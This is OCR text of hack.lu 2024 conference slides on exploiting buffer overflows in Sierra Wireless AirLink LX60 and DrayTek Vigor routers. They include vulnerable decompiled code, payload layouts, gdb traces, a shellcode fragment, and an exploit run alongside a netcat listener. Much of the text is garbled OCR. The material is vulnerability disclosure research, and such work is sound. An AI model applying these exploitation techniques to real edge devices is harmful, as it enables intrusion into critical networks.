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Ghosts'n’‘gadgets: common buffer ovei'flows that still
haunt our networks

Stanislav Dashevskyi hack.lu 2024



About me

® MSc. in industrial automation and control systems | ;-5"‘1

» ~ : Vv \\\J

‘J \ .t .'

Ly -~ > . Q §
| 2 PRI 8 1 { 7~ N
) LBY ) M et . VW \ el / o
! %«l...%‘_‘\ ) ‘.‘,} AR \‘!v
- ) STNAY Y
(L E a

® PhD in computer science

® Security researcher at Forescout Technologies,
based in the Netherlands

® 100+ CVEs, 1 RFC

® The following presentation is the result of joint
work with my colleague, Francesco La Spina




Why are we still talking about buffer overflows?

® Plenty of buffer overflows found since the “Smashing the stack” article by
AlephOne

® Nowadays it is much harder to exploit buffer overflows: stack canaries, DEP, PIE,
ASLR, obfuscation, etc.

® “[stack smashing is] a dying artform as things move further away from bare metal
into virtualized environments” ©

® We will see that [stack] buffer overflows are still quite relevant in some
environments, even virtualized ones

® We will smash the stack of two critical networking devices and see that buffer
overflows are relevant as ever


http://phrack.org/issues/49/14.html

Target A: Sierra Wireless AirLink LX60

@ AirLink is one of the most popular brand of l1oT/OT
gateways

® You can still (?) find lots of them online (e.g.,
shodan.io)

®TL;DR it’s a switch / VPN concentrator with a sim
card slot

® These devices are used to connect critical
equipment in electrical substations, vehicles, oil
and gas fields, smart cities, etc.

166,000,000+

devices shipped worldwide

®They run some sort of a Linux distro, ARM32
® No SSH / root is allowed

160+ countries

where our products and services are
deployed.




Target B: DrayTek Vigor 3910/3912

® DrayTek provides a wide range of routers,
VPN concentrators, firewalls. Lots are
exposed online

® The router OS (DrayOS) virtualized - it runs on
the host linux OS via QEMU. ARM64 in 32 bit
mode.

® 3910/3912 do not allow any SSH / root

® Users have only limited access to the guest
OS, but no access to the host

United Kingdom 252,744

Viet Nam 117,503

® Both AirLink and Vigor are “edge” networking Netherlands 64,887
devices -they can be used as gateways into Taiwan 59,348
internal networks Australia 31,276

More...




Sierra Wireless LX60 VS CVE-2023-41101

® A stack/heap -based buffer overflow in OpenNDS - used in LX60 as a
simple captive portal

// OpenNDS 9.x - memory allocation for ~query’ GET /?

<tatic int preauthenticated(struct MHD_Connection *connection, HTTP/1.1\nHost: localhost\n\n

const char *url,
t client *client)

(* Max length of a query string in bytes

s _config *config = config_get config(); /
lefine QUERYMAXLEN 8192

const char *host = config-»gw_address;
const char *redirect_url;

char query_str[QUERYMAXLEN] = {0};
char *query = query_str;

// Check for preauthdir
it (check_authdir match(url, config->»preauthdir)) {

debug(LOG_DEBUG, "preauthdir url detected: %s™, url);

(i =0; 1 < element_counter; i++) {
get query(connection, &query, QUERYSEPARATOR); T (lelements[i])

ret = show preauthpage(connection, query); ue,

return ret; length += strlen(elements[i]);

strncpy(*query + j, elements[i1], length - j);



Exploiting the LX60

® The heap and the stack are not executable
® ASLR is enabled

® The query_str() function is so buggy,
prevents proper ROP

® strlen() will slash shellcode that contains zeros
®No debugger

® PIE is disabled

® execute_ret() - IPTABLES and other OS commands for
network segmentation (captive portal functionality)

® We need to leak some addresses




Leaking some memory

.Eext:
.Eext:
.text:
.text:
.cext:
.Eext:
.Eext:
.text:
.text:
.cext:
Eext:
.Eext:
.Eext:
.text:
.text:
.cext:

00012854
00012854
00013854
00013854
00019854
00012854
00012854
00013854
00015854
00019854
00012854
00012854
0001385

Uﬂﬁlﬁﬂﬁi
oo0og1285

Q001985

_debug

filename
var EO
vlist

s

buf

block chld
format
arg_0
arg_l1B7C

filename 0
line = ER1
level = R2

~0xEC
~0xE0
-0xCC
~0xC8
~0xC4
~0xA8
-4
0
0x11B7C

OFF v

| Refresh Jii Clear i} Mark

switch { (unsigned

{

int)

case 0Ou:
case 3u:

goto LABEL_3;
case 4u:
case 5u:

goto LABEL_3;
case 6u:

goto LABEL_3;
case Tu:

EL_3:
if (1 )
return;
et i D — —

efault:

debug ("srec,/debug.c", 56, (cons

NjcsIGNsaWVudGIwPTESMidxNjguMTcuMTAWLCBJbGIlIbnRtYWMSNJABYTUGZTIEYTI6OTI6ZDQsIGAdhdGV3Y XIuYW1IPWOwWZW
S5ORFMsIHZIcnNpb2490S4xLjESIGdhdGV3YXIhZGRyZXNzPTESMi4xNjguMTcuMzE6MJAIMCwgZ2F0ZXdheW1hYzOwODozY To
40DpmMjpmY TpkYSwgb3JpZ2ludXJsPWhOdHAIM2EIMmMYIMmYxMzM3LWg0eDByaGVsbG93hb3JsZCUzZiwgY2xpZW50awy9d
WFWMCwgdGhlbWVzcGV]PShudWxsKSwgKG51bGwpKG51bGwpKG51bGwpKG51bGwp

Sep 26 08:19:25 debug opennds[1619]: send_redirect_temp: MHD_create_response_from_buffer. url [http://192.168.17.31:2050
lopennds_preauth
[?fas=aGIkPTg4NWMOYWZINWM4ZGFIOTVIMzZUXNDRhMjI2ZMmVhNWYzNjQzYWFhZmMzZTIOM2FiZJE3N2FMMmI1YTUwWNzkw
NjcsIGNsaWwVudGIwPTESMi4xNjguMTcuMTAWLCBbGIIbnRtYWMSNJAG6YTUGZTIEYTI6OTI6ZDQsSIGAdhdGV3Y XIuYW1IPWOwWZW
50RFMsIHZIcNnNpb2490S4xL|EsIGdhdGV3YXIhZGRYyZXNzPTESMi4xNjguMTcuMzE6MJAIMCwgZ2F0ZXdheW1hYzOwODozYTo
40DpmMjpmY TpkYSwgb3JpZ2ludXJsPWhOdHAIM2EIMmMYIMmYxMzM3LWg0eDByaGVsbG93b3JsZCUzZiwgY2xpZW50awyad
WFWMCwgdGhlbWVzcGVjPShudWxsKSwgKG51bGwpKG51bGwpKG51bGwpKG51bGwp]

Sep 26 08:19:25 debug opennds[1619]: send_redirect_temp: Queueing response for 192.168.17.100, 60:a5:e2:a2:92:d4

Sep 26 08:19:25 debug opennds[1619]: send_redirect_temp: Response is Queued

Sep 26 08:19:25 err opennds[1619]: debug level:

Sep 26 08:19:25 debug ALEOS_SECURITY_GAR: Type of event: SYSCALL(1300)

Sep 26 08:19:25 debug ALEOS_SECURITY_GAS#Record type: 1300(SYSCALL) has 28 fields

*13, (int)"Unhandled debug lewvel:




LX60: the exploit

0x20a34 < +608 ®

0x20a38 < +612: x GET

0x20a3c < +616 z , #42496 ; 0Oxa600

0x20a40 < 1620 , -, #196  ; Oxc4 '7[PADD|NG]
b+> <preauthenti

0x20a48 < +628> , [pc, #3060] ; Ox216¢?4 <preauthent1}cated+3696> [URL ADDR][PADDING]

0x20a4dc < +632> , [0, #3060] ; 0x21648 <preauthenticated+3700> —

ox20a50 < [GADGET_ADDR] HTTP/1.1
(gdb) bt
#0 Ox00020a44 in ( =0x3f508b00, =<optimized out>, [---]

=0x0) at :958

ff1 0Ox000241c8 in (

=0x42424242 <error: Cannot access memory at address 0x42424242>,
=1111638594, =0x640 <error: Cannot access memory at address 0x640>)
at 1307
#2 0Ox00000754 1in ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) x/24wx Ssp-8

Ox3fe2d42c: 0x00000000 0x42424242 Ox3T5006ec 0x42424242
Ox3fe2d43c: 0x42424242 0x42424242 0x42424242 0x42424242
Ox3fe2d44c: 0x42424242 0x42424242 Ox000241c8 0x3f5006e8
Ox3fe2d45c: 0x3f5006ec 0x0000CNO0 O ELEEEYEL] 0x38653a32
Ox3fe2d46c: 0x3a61333a 0x663a6665 0x3f500066 0x2e323731
Ox3fe2d47c: 0x302e3731 0x0000312e Ox3ffofed4 Ox00000000

.Eext
.Eext
.Eext
.text

t00020R38
t00020RA3C
:00020R40
:00020R44

:000241C8
000241 CC
00024100
00024104

RO,
SE,
SE,

RT
SP, #OxAE00
SP, #oxC4

{R4-R11,PC} ; format

R2, R4 : emd

R1,

re,

msg_len ;
msg ; msg

_execute_ret

msqg_lemn




standash@thelab42-2:~/stuff/vr/ALEOS/xploits/opennds-RCES

standash@thelab42-2:~/stuff/vr/ALEOS/xploits/opennds-RCES [




DrayTek Vigor VS CVE-2024-41592

® A stack-based buffer overflow in WebUI, while parsing query string
parameters

Low addr.

variables

| | |
|
| | |
———————————————————————— | --- Other local
| | | | variables
________________________ |
| | I |
| ptr_val 1 | ptr_key 1 | |
________________________ |
| - | A | | --- Query string
———————————————————————— | buffer
| ptr val n | ptr key n | |
| | | |
________________________ |
| | | | --- Other local
|
| | |
| |

High addr. -- Return address

Higher 4 Lower 4
bytes bytes



Exploiting DrayTek

® ~40 .cgi pages where the bug can be triggered, monolithic binary
® No DEP, both the heap and the stack are executable

® No PIE

® No ASLR

® Still, there were some challenges... (see the next slide)




FreeCtriName()

Low addr. | - | b | |
__inte4  fastcall FreeCtrlName{ int64 resulty = 0 |
{ _ I |
int vl; /0 [ccpelih] aboelohl e | --- other local
int i; // [xsp+2Ch] [xbp+2Ch] | cen | een | | variables
________________________ |
vl = result; | ven | i | |
for (i=0; *(v1 +8 *4i), ++1 ) TTooooooooos momooooooooo
{ | ptr val 1 | exeeooe000 | |
result = kfree(*(vl + 8 * i), @x163w); TTTTTTTTTTTT TooooTToooos |
*(vl + 8 * i) = 0; | - | exeeono00 | | --- Query string
I | buffer
} | ... | ox00000000 | |
________________________ |
| e | exoeeo0000 | | --- Other local
———————————————————————— | variables
| A | exoeevce00 | |
High addr. | ©x00000000 | ©x00000000 | --- Return address
| | | |
| |
Higher 4 Lower 4

bytes bytes



FreeCtriName()

Low addr. | e | e | |
® Found the perfect .cgi T I
: P e | --- Other local
flJII(:tI()r1° | s | e | | variables
®Processes the querystring Tt mmmmeoees |
) | cee L |
unauthenticated @
; 5 t 0 A 0x00000000
® “Breaks” the deallocation e B | }
chain by explicitly setting a | .-+ | oxeeeoeoco | I QUG;Yf:t"ing
. e - ten " e . mmmmmmmmmmmm —mmmm e uffer
local variable just “below” | ptr_val n | 0x00000000 | |
the return address to zero [ S | |
________________________ |
| | exoo000000 | | --- other local
————————————————————— | variables
| @x4FD7xxxx | |
High addr. |-é;éééééééé-|—é;;;&é;;;;-l --- Return address
I | | I
I I
Higher 4 Lower 4

bytes bytes



DrayTek 3910: the exploit

® Once we’ve dealt with our deallocation problem...

01:
02:
03:
: movz
05:
06:

adr
movz

movk

movk
br

] [SHELLCODE][MSG] HTTP/1.1 [...]

x0, #24
x19, #Oxbeef

x19, #0Oxdead, 1lsl #16 -

x30, #0xfoeod

<30, #oxbaad, 151 #16 —— INCCOVSRIAUGIGSSIN

x19




[
1]

sep 23 11:54

® Firefox Web Browser
* +

Activities

@ D vigor Login Page

— (&) O & 192.168.1.1/weblogin.htm

DrayTek

English



BONUS LEVEL: CVE-2024-41585

& 3910/3912 run DrayOS in emulator, we must escape!

reboot fw upload gci exp quit set linux time setportspeed update ps
backup soho setadminpass f2 set board info halt usbcmd uffssave cfg restore
ftpserv debug cfgexp setlinuxip set linux _timezone2 set lan wlredﬂﬂzlx

__inté4 _ fastcall run_command(const char *arg _cmd_script)

int v2; // wl9
size t v3; // x0©
char *var_cmd; // x0

_BOOL4 vi®; // b

v2 = strlen(arg cmd script);

v3 = strlen(aVarLogDrayoslo);

var_cmd = (char *)malloc(v3 + v2 + 32);

*(_QWORD *)var cmd = OLL;

sprintf(var_cmd, "/etc/runcommand/%s »>> %s 2>&1", arg _cmd script, aVarlLogDrayoslo);
var_cmd 3 = var_cmd 2;

do

{

b

while { v10 );
system(var _cmd);
free(var_cmd);
return 0Ll ;




Activities (&) OBS Studio ¥ ©

jula 15:41 en ¥ 4 0 i~
(venaﬁ standash@thelab42-2:~/stuff/vr/draytek/exploits$ python 3912.py br-wan3 192.168.42.42 192.168.42.1
123

standash@thelab42-2:~/stuff/vr/draytek/exploits$ nc -1 192.168.42.1 1234 -v
Listening on thelab42-2 1234

1 import sys

2 import requests
£

1I5 Tni
OO E" e o098

mem
e
mam




M 8 F = A B N =

stanislav[at]dashevskyi@forescout.com
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